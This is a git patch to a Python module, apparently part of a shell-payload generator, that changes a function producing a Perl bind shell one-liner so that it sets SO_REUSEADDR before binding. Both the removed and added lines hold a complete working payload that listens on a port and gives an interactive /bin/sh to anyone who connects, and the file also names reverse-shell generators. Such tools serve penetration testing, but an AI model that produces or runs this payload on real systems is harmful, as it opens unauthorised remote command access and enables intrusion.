From 23106169e0b71fd8af5a279799f95fcc22f2c9ea Mon Sep 17 00:00:00 2001 From: Andrew Shulgin Date: Fri, 8 Jan 2016 15:41:48 +0200 Subject: [PATCH] Add SO_REUSEADDR flag to bind --- payloads/linux/perl.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/payloads/linux/perl.py b/payloads/linux/perl.py index 1d9b838..9baab21 100755 --- a/payloads/linux/perl.py +++ b/payloads/linux/perl.py @@ -7,7 +7,7 @@ def reverse_oneline(lhost, lport): def bind_oneline(lport): """ Perl Bind Shell Generator""" - payload = """perl -e 'use Socket;$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S, SOMAXCONN);for(; $p= accept(C, S); close C) {open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/sh -i");};'""" %(lport) + payload = """perl -e 'use Socket;$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);bind(S,sockaddr_in($p, INADDR_ANY));listen(S, SOMAXCONN);for(; $p= accept(C, S); close C) {open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/sh -i");};'""" %(lport) return payload def reverse_script(lhost, lport):